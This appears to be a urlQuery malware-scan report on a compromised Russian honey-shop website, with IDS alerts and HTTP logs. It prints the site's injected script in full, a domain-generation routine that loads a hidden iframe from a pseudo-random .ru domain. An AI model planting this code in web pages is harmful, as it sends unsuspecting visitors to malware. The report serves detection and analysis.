Overview

URLhttp://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
IP90.156.201.34
ASNAS25532 .masterhost autonomous system
Location Russian Federation
Report completed2012-11-09 13:42:06 CET
StatusLoading report..
urlQuery Alerts Detected script marked as malicious
Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-09 13:41:32 90.156.201.34 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-09 13:41:32 90.156.201.34 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-09 13:41:35 90.156.201.34 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-09 13:41:35 90.156.201.34 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-09 13:41:32 90.156.201.34 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-09 13:41:32 90.156.201.34 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-09 13:41:32 90.156.201.34 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-09 13:41:35 90.156.201.34 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 90.156.201.34

Date Alerts / IDS URL IP
2013-02-11 12:41:121 / 3http://club-rukodelnic.ru/video/6-vyazhem-na-vilke.html90.156.201.34
2013-02-04 02:43:011 / 9http://club-rukodelnic.ru/90.156.201.34
2013-01-21 14:13:151 / 2http://test-krasoty.ru/index.php?story=90.156.201.34
2013-01-21 12:33:551 / 2http://test-krasoty.ru/180-chistaya-liniya.html90.156.201.34
2013-01-21 12:32:591 / 1http://test-krasoty.ru/315-chudo-lukoshko.html90.156.201.34
2013-01-21 05:37:281 / 2http://test-krasoty.ru/315-chudo-lukoshko.html90.156.201.34

Last 6 reports on ASN: AS25532 .masterhost autonomous system

Date Alerts / IDS URL IP
2013-02-14 14:03:090 / 2http://www.handmall.ru/category/mastera/makarova-oksana.../90.156.201.108
2013-02-14 14:03:000 / 9http://www.handmall.ru/category/mastera/makarova-oksana...90.156.201.104
2013-02-14 13:34:210 / 1http://swweek.ru/masha-badda-boo/90.156.201.118
2013-02-14 09:46:000 / 2http://handmall.ru/?p=427790.156.201.108
2013-02-14 07:24:550 / 7http://www.handmall.ru/2009/09/01/kartina-po-steklu-pavlin/90.156.201.108
2013-02-14 07:24:330 / 6http://www.handmall.ru/category/razmery/5-10-sm-razmery.../90.156.201.104

Last 3 reports on domain: www.altaymed.ru

Date Alerts / IDS URL IP
2012-11-14 18:09:022 / 4http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lnbjagvsb21hd (...)90.156.201.34
2012-11-09 17:22:242 / 8http://www.altaymed.ru/90.156.201.85
2012-10-25 18:29:172 / 4http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7ewfuzgv4lnj1onbyz (...)90.156.201.85



JavaScript

Executed Scripts (18)


Executed Evals (1)

#1 JavaScript::Eval (size: 1769, repeated: 1) - Script marked as malicious 

function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = Math.ceil(d.getHours() / 3);
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}

function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var letters = "buaxoqeriqwkgfkdyenzossqlxfqayvpr".split('');
    var str = '';
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }
    return str + '.' + zone;
}

setInterval(function() {
    try {
        if (typeof iframeWasCreated == "undefined") {
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'ru');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/in.cgi?15");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
            iframeWasCreated = true;
        }
    } catch (e) {
        iframeWasCreated = undefined;
    }
}, 100);

Executed Writes (4)

#1 JavaScript::Write (size: 352, repeated: 1) 

<a href="http://click.hotlog.ru/?2096133" target="_top"><img src="http://hit10.hotlog.ru/cgi-bin/hotlog/count?0.8715078016016059&s=2096133&im=116&r=&pg=http%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq&c=Y&j=Y&wh=1176x885&px=24&js=1.3" border="0" width="88" height="31" alt="HotLog"></a>

#2 JavaScript::Write (size: 651, repeated: 1) 

<a href="http://top100.rambler.ru/home?id=2338865" target="_blank"><img src="http://counter.rambler.ru/top100.scn?2338865&rn=149589257&v=0.3i&bs=1159x778&ce=1&rf&en=windows-1251&pt=%D0%90%D0%BB%D1%82%D0%B0%D0%B9%D0%BF%D1%87%D0%B5%D0%BB%D0%BE%D0%BF%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82-%D0%9E%20%D0%BA%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D0%B8%D0%B8-%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C%20%D0%BC%D0%B5%D0%B4%2C%20%D1%84%D0%B0%D1%81%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9%20%D0%BC%D0%B5%D0%B4&cd=24-bit&sr=1176x885&la=en-US&ja=1&acn=Mozilla&an=Netscape&pl=Win32&tz=-60&fv=10.0%20r45&sv&le=0" title="Rambler's Top100" alt="Rambler's Top100" border="0" /></a>

#3 JavaScript::Write (size: 670, repeated: 1) 

<a href='http://www.liveinternet.ru/click' target=_blank><img src='http://counter.yadro.ru/hit?t26.6;r;s1176*885*24;uhttp%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq;i%u0416%u0436%u0410%u043B%u0442%u0430%u0439%u043F%u0447%u0435%u043B%u043E%u043F%u0440%u043E%u0434%u0443%u043A%u0442-%u041E%20%u043A%u043E%u043C%u043F%u0430%u043D%u0438%u0438-%u041A%u0443%u043F%u0438%u0442%u044C%20%u043C%u0435%u0434%2C%20%u0444%u0430%u0441%u043E%u0432%u0430%u043D%u043D%u044B%u0439%20%u043C%u0435%u0434;0.8177569268164436' border=0 width=88 height=15 alt='' title='LiveInternet: ?>:070=> G8A;> ?>A5B8B5;59 70 A53>4=O'></a>

#4 JavaScript::Write (size: 64, repeated: 1) 

<script src="http://openstat.net/cnt.js" defer="defer"></script>


HTTP Transactions (30)


Request Response 
GET /?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=windows-1251

Date: Fri, 09 Nov 2012 12:41:32 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:32 GMT
GET /cycle.css HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Fri, 09 Nov 2012 12:41:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 992
Server: Apache
Last-Modified: Tue, 04 Jan 2011 17:55:56 GMT
Etag: &quot;1bcfd5d-3e0-49908faf52300&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:32 GMT
GET /main.css HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Fri, 09 Nov 2012 12:41:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 2933
Server: Apache
Last-Modified: Tue, 04 Jan 2011 17:14:04 GMT
Etag: &quot;1bcfd65-b75-49908653b0f00&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:32 GMT
GET /css/fullsize.css HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Fri, 09 Nov 2012 12:41:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 2962
Server: Apache
Last-Modified: Tue, 11 May 2010 05:17:38 GMT
Etag: &quot;1bcfeaa-b92-4864aa4d58080&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:32 GMT
GET /jquery.cycle.lite.1.0.min.js HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Fri, 09 Nov 2012 12:41:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 14007
Server: Apache
Last-Modified: Sat, 20 Oct 2012 04:00:53 GMT
Etag: &quot;1bcfd63-36b7-4cc75aaa4a740&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:32 GMT
GET /js/highslide-with-gallery.js HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Fri, 09 Nov 2012 12:41:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 100446
Server: Apache
Last-Modified: Sat, 20 Oct 2012 04:00:49 GMT
Etag: &quot;1bcff07-1885e-4cc75aa679e40&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:32 GMT
GET /js/jquery-1.3.2.min.js HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Fri, 09 Nov 2012 12:41:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 67696
Server: Apache
Last-Modified: Sat, 20 Oct 2012 04:00:46 GMT
Etag: &quot;1bcff09-10870-4cc75aa39d780&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:32 GMT
GET /i/2b.png HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Fri, 09 Nov 2012 12:41:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 3608
Server: Apache
Last-Modified: Thu, 13 May 2010 04:11:11 GMT
Etag: &quot;1bcfeaf-e18-48671f2df75c0&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:32 GMT
GET /top100.jcn?2338865 HTTP/1.1

Host: counter.rambler.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Server: nginx/1.2.3
Date: Fri, 09 Nov 2012 12:41:32 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;NON ADM DEV TAI PSA PSD IVA OUR IND UNI COM NAV INT&quot;
Set-Cookie: ruid=MZEZBvz5nFCR5wAAAcm26w==; path=/; domain=.rambler.ru; expires=Mon, 07-Nov-22 12:41:32 GMT
top100rb=NjczKzY4OA==; path=/; domain=.rambler.ru; expires=Fri, 16 Nov 2012 12:41:32 GMT
GET /js/high_opt.js HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Fri, 09 Nov 2012 12:41:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 11141
Server: Apache
Last-Modified: Sat, 20 Oct 2012 04:00:51 GMT
Etag: &quot;1bcff06-2b85-4cc75aa8622c0&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:35 GMT
GET /i/logo.png HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Fri, 09 Nov 2012 12:41:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 9467
Server: Apache
Last-Modified: Tue, 16 Mar 2010 08:45:46 GMT
Etag: &quot;1bcfeb6-24fb-481e706104280&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:35 GMT
GET /i/gradient-1.png HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/main.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Fri, 09 Nov 2012 12:41:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 935
Server: Apache
Last-Modified: Tue, 16 Mar 2010 08:45:42 GMT
Etag: &quot;1bcfeb3-3a7-481e705d33980&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:35 GMT
GET /i/gradient-3.png HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/main.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Fri, 09 Nov 2012 12:41:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 357
Server: Apache
Last-Modified: Tue, 16 Mar 2010 08:45:44 GMT
Etag: &quot;1bcfeb5-165-481e705f1be00&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:35 GMT
GET /i/gradient-2.png HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/main.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Fri, 09 Nov 2012 12:41:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 505
Server: Apache
Last-Modified: Tue, 16 Mar 2010 08:45:43 GMT
Etag: &quot;1bcfeb4-1f9-481e705e27bc0&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:35 GMT
GET /i/back.png HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/main.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Fri, 09 Nov 2012 12:41:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 3580
Server: Apache
Last-Modified: Tue, 16 Mar 2010 08:45:36 GMT
Etag: &quot;1bcfeb0-dfc-481e70577ac00&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:35 GMT
GET /i/bees-1.png HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/main.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Fri, 09 Nov 2012 12:41:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 12076
Server: Apache
Last-Modified: Tue, 16 Mar 2010 08:45:39 GMT
Etag: &quot;1bcfeb1-2f2c-481e705a572c0&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:35 GMT
GET /i/bees-2.png HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/main.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Fri, 09 Nov 2012 12:41:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 1169
Server: Apache
Last-Modified: Tue, 16 Mar 2010 08:45:41 GMT
Etag: &quot;1bcfeb2-491-481e705c3f740&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:35 GMT
GET /cnt.js HTTP/1.1

Host: openstat.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Server: nginx/1.2.4
Date: Fri, 09 Nov 2012 12:41:35 GMT
Content-Length: 3088
Last-Modified: Tue, 25 Sep 2012 12:07:05 GMT
Connection: keep-alive
Content-Encoding: gzip
Set-Cookie: VISID=JCFMPACLTUGPKCLLCO; expires=Sun, 09-Nov-14 12:41:35 GMT; domain=.openstat.net; path=/
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA&quot;
Expires: Mon, 12 Nov 2012 12:41:35 GMT
Cache-Control: max-age=259200
GET /cgi-bin/hotlog/count?0.8715078016016059&s=2096133&im=116&r=&pg=http%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq&c=Y&j=Y&wh=1176x885&px=24&js=1.3 HTTP/1.1

Host: hit10.hotlog.ru
GET /cgi-bin/hotlog/count?0.8715078016016059&amp;s=2096133&amp;im=116&amp;r=&amp;pg=http%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq&amp;c=Y&amp;j=Y&amp;wh=1176x885&amp;px=24&amp;js=1.3 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 302 Found

Content-Type: text/plain

Server: HotLog/1.2
Date: Fri, 09 Nov 2012 12:41:35 GMT
P3P: policyref=&quot;/p3p.xml&quot;, CP=&quot;NON ADM DEV TAI PSA PSD IVA OUR IND UNI COM NAV INT&quot;
Set-Cookie: hotcli=a1febebf13ff8de54faebd8a874da292; path=/; domain=.hotlog.ru; expires=Sat, 20-Apr-2030 13:21:04 GMT
Location: /cgi-bin/hotlog/count?0.8715078016016059&amp;s=2096133&amp;im=116&amp;r=&amp;pg=http%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq&amp;c=Y&amp;j=Y&amp;wh=1176x885&amp;px=24&amp;js=1.3&amp;hl_ignore=Y
Content-Length: 0
Connection: close
GET /hit?t26.6;r;s1176*885*24;uhttp%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq;i%u0416%u0436%u0410%u043B%u0442%u0430%u0439%u043F%u0447%u0435%u043B%u043E%u043F%u0440%u043E%u0434%u0443%u043A%u0442-%u041E%20%u043A%u043E%u043C%u043F%u0430%u043D%u0438%u0438-%u041A%u0443%u043F%u0438%u0442%u044C%20%u043C%u0435%u0434%2C%20%u0444%u0430%u0441%u043E%u0432%u0430%u043D%u043D%u044B%u0439%20%u043C%u0435%u0434;0.8177569268164436 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Date: Fri, 09 Nov 2012 12:41:36 GMT
Server: 0W/0.8c
